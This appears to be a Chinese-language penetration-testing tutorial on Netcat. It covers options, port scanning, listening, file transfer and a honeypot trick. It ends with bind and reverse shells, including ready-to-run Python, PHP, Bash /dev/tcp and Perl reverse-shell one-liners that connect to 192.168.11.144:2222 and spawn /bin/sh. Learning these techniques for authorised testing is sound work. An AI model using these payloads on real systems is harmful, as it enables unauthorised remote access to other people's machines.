前言
最近在做滲透測試的時候遇到了端口監聽和shell的反彈問題,在這個過程中自己對Netcat這一款神器有了新的認識,現將一些Netcat的用法做一個小總結,希望對各位有幫助!
Netcat簡介
Netcat是一款非常出名的網絡工具,簡稱“NC”,有滲透測試中的“瑞士軍刀”之稱。它可以用作端口監聽、端口掃描、遠程文件傳輸、還可以實現遠程shell等功能。總之功能強大,可以用一句較為風趣的話來描述NC的強大——“你的想象力是局限NC的瓶頸”。
Netcat選項參數說明
功能說明:端口掃描、端口監聽、遠程文件傳輸、遠程shell等等;
語 法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信端口>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信端口...]
參 數:
-g <網關> 設置路由器躍程通信網關,最多可設置8個;
-G <指向器數目> 設置來源路由指向器,其數值為4的倍數;
-h 在線幫助;
-i <延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口;
-l 使用監聽模式,管控傳入的資料;
-n 直接使用IP地址,而不通過域名服務器;
-o <輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存;
-p <通信端口> 設置本地主機使用的通信端口;
-r 亂數指定本地與遠端主機的通信端口;
-s <來源位址> 設置本地主機送出數據包的IP地址;
-u 使用UDP傳輸協議;
-v 顯示指令執行過程;
-w <超時秒數> 設置等待連線的時間;
-z 使用0輸入/輸出模式,只在掃描通信端口時使用。
Netcat簡易使用
連接到遠程主機
命令:nc -nvv Targert_IP Targert_Port
監聽本地主機
命令:nc -l -p Local_Port
端口掃描
掃描指定主機的單一端口是否開放
格式:nc -v target_IP target_Port
掃描指定主機的某個端口段的端口開放信息
格式:nc -v -z Target_IP Target_Port_Start - Target_Port_End
掃描指定主機的某個UDP端口段,並且返回端口信息
格式:nc -v -z -u Target_IP Target_Port_Start - Target_Port_End
掃描指定主機的端口段信息,並且設置超時時間為3秒
格式:nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End
端口監聽
監聽本地端口
格式:nc -l -p local_Port
注:先設置監聽(不能出現端口沖突),之后如果有外來訪問則輸出該詳細信息到命令行
監聽本地端口,並且將監聽到的信息保存到指定的文件中
格式:nc -l -p local_Port > target_File
連接遠程系統
格式:nc Target_IP Target_Port
之后可以運行HTTP請求
FTP匿名探測
格式:nc Targert_IP 21
文件傳輸
傳輸端:
格式:nc Targert_IP Targert_Port < Targert_File
接收端:
格式:nc -l Local_Port > Targert_File
簡易聊天
本地主機
命令:nc -l 8888
遠程主機
命令:nc Targert_IP Targert_Port
蜜罐
作為蜜罐使用1:
命令:nc -L -p Port
注:使用“-L”參數可以不停的監聽某一個端口,知道Ctrl+C為止
作為蜜罐使用2:
命令:nc -L -p Port >log.txt
注:使用“-L”參數可以不停的監聽某一個端口,知道Ctrl+C為止,同時把結果輸出到log.txt文件中,如果把“>”改為“>>”即追加到文件之后。
這一個命令參數“-L”在Windows中有,現在的Linux中是沒有這個選項的,但是自己可以去找找,這里只是想到了之前的這個使用,所以提出來簡單介紹一下!
獲取shell
簡述:獲取shell分為兩種,一種是正向shell,一種是方向shell。如果客戶端連接服務器端,想要獲取服務器端的shell,那么稱為正向shell,如果是客戶端連接服務器,服務器端想要獲取客戶端的shell,那么稱為反向shell
正向shell
本地主機:
命令:nc Targert_IP Targert_Port
目標主機:
命令:nc -lvp Targert_Port -e /bin/sh
反向shell
本地主機:
命令: nc -lvp Target_Port
目標主機:
命令: nc Targert_IP Targert_Port -e /bin/sh
特殊情況——目標主機上沒有Netcat,如何獲取反向shell
在一般情況下,目標主機上一般都是不會有Netcat的,此時就需要使用其他替代的方法來實現反向鏈接達到攻擊主機的目的,下面簡單的介紹幾種反向shell的設置。
python反向shell
目標主機端執行語句:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
本地主機
目標主機
PHP反向shell
目標主機端執行語句:
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
本地主機:
目標主機:
Bash反向shell
目標主機端執行語句:
bash -i>&/dev/tcp/192.168.11.144/2222 0>&1
本地主機:
目標主機:
Perl反向shell
目標主機端執行語句:
perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
本地主機
目標主機
注:書寫的時候一定要注意這里單引號、雙引號是英文格式的,不然會報錯誤!